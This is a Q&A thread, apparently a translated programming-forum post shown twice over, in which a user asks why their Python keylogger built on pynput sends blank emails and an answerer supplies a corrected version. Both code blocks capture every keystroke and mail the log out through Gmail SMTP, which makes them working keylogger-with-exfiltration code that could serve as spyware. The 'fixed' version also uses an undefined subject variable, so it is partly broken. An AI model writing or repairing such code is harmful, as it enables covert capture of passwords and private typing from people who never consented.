尝试记录击键并将它们发送到我的电子邮件,但收到一封空白电子邮件
Trying to log keystrokes and send them to my email but getting a blank email instead
此代码应该记录我的击键并将它们发送到我的电子邮件(我暂时从代码中删除)。我确实收到了电子邮件,但是它不会通过按键发送它们,每封电子邮件都是空白的。有谁知道如何解决这个问题?
import smtplib
import pynput
from pynput.keyboard import Key, Listener
email = ""
password = ""
server = smtplib.SMTP_SSL("smtp.gmail.com", 465)
server.login(email, password)
full_log = ""
word = ""
email_char_limit = 10
def on_press(key):
global word
global full_log
global email
global email_char_limit
if key == Key.space or key == Key.enter:
word += " "
full_log += word
word = ""
if len(full_log) >= email_char_limit:
send_log()
full_log = ""
elif key == Key.shift or Key.shift_r:
return
elif key == Key.backspace:
word = word[:-1]
else:
char: f"{key}"
char = char[1:-1]
word += char
if key == Key.esc:
return False
def send_log():
server.sendmail(
email,
email,
full_log
)
with Listener(on_press=on_press) as listener:
listener.join()
我只是进行了一些更改并使其正常运行。您的 full_log
变量有问题。第一个 elif
语句的条件部分存在错误,您的条件应为 key == Key.shift or key == Key.shift_r
。 char: f"{key}"
有一个错误。应该是char = f"{key}"
。您忘记的另外两个重要陈述是
full_log += word
word = ""
这些行需要包含在末尾,以便将单词连接到 full_log
变量。除此之外,现在一切正常。
以下是您的代码的更正版本。
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
import pynput
from pynput.keyboard import Key, Listener
full_log = ""
word = ""
email_char_limit = 10
def send_log(log):
print(log)
email_user = 'from mail address here'
email_password = 'password'
email_send = 'to mail address here'
msg = MIMEMultipart()
msg['From'] = email_user
msg['To'] = email_send
msg['Subject'] = subject
body = log
msg.attach(MIMEText(body, 'plain'))
text = msg.as_string()
server = smtplib.SMTP('smtp.gmail.com', 587)
server.starttls()
server.login(email_user, email_password)
server.sendmail(email_user, email_send, text)
server.quit()
def on_press(key):
global word
global full_log
global email
global email_char_limit
if key == Key.space or key == Key.enter:
word += " "
full_log += word
word = ""
if len(full_log) >= email_char_limit:
send_log(full_log)
full_log = ""
elif key == Key.shift or key == Key.shift_r:
return None
elif key == Key.backspace:
word = word[:-1]
else:
char = f"{key}"
char = char[1:-1]
word += char
full_log += word
word = ""
if key == Key.esc:
return False
#print(full_log)
with Listener(on_press=on_press) as listener:
listener.join()
此代码应该记录我的击键并将它们发送到我的电子邮件(我暂时从代码中删除)。我确实收到了电子邮件,但是它不会通过按键发送它们,每封电子邮件都是空白的。有谁知道如何解决这个问题?
import smtplib
import pynput
from pynput.keyboard import Key, Listener
email = ""
password = ""
server = smtplib.SMTP_SSL("smtp.gmail.com", 465)
server.login(email, password)
full_log = ""
word = ""
email_char_limit = 10
def on_press(key):
global word
global full_log
global email
global email_char_limit
if key == Key.space or key == Key.enter:
word += " "
full_log += word
word = ""
if len(full_log) >= email_char_limit:
send_log()
full_log = ""
elif key == Key.shift or Key.shift_r:
return
elif key == Key.backspace:
word = word[:-1]
else:
char: f"{key}"
char = char[1:-1]
word += char
if key == Key.esc:
return False
def send_log():
server.sendmail(
email,
email,
full_log
)
with Listener(on_press=on_press) as listener:
listener.join()
我只是进行了一些更改并使其正常运行。您的 full_log
变量有问题。第一个 elif
语句的条件部分存在错误,您的条件应为 key == Key.shift or key == Key.shift_r
。 char: f"{key}"
有一个错误。应该是char = f"{key}"
。您忘记的另外两个重要陈述是
full_log += word
word = ""
这些行需要包含在末尾,以便将单词连接到 full_log
变量。除此之外,现在一切正常。
以下是您的代码的更正版本。
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
import pynput
from pynput.keyboard import Key, Listener
full_log = ""
word = ""
email_char_limit = 10
def send_log(log):
print(log)
email_user = 'from mail address here'
email_password = 'password'
email_send = 'to mail address here'
msg = MIMEMultipart()
msg['From'] = email_user
msg['To'] = email_send
msg['Subject'] = subject
body = log
msg.attach(MIMEText(body, 'plain'))
text = msg.as_string()
server = smtplib.SMTP('smtp.gmail.com', 587)
server.starttls()
server.login(email_user, email_password)
server.sendmail(email_user, email_send, text)
server.quit()
def on_press(key):
global word
global full_log
global email
global email_char_limit
if key == Key.space or key == Key.enter:
word += " "
full_log += word
word = ""
if len(full_log) >= email_char_limit:
send_log(full_log)
full_log = ""
elif key == Key.shift or key == Key.shift_r:
return None
elif key == Key.backspace:
word = word[:-1]
else:
char = f"{key}"
char = char[1:-1]
word += char
full_log += word
word = ""
if key == Key.esc:
return False
#print(full_log)
with Listener(on_press=on_press) as listener:
listener.join()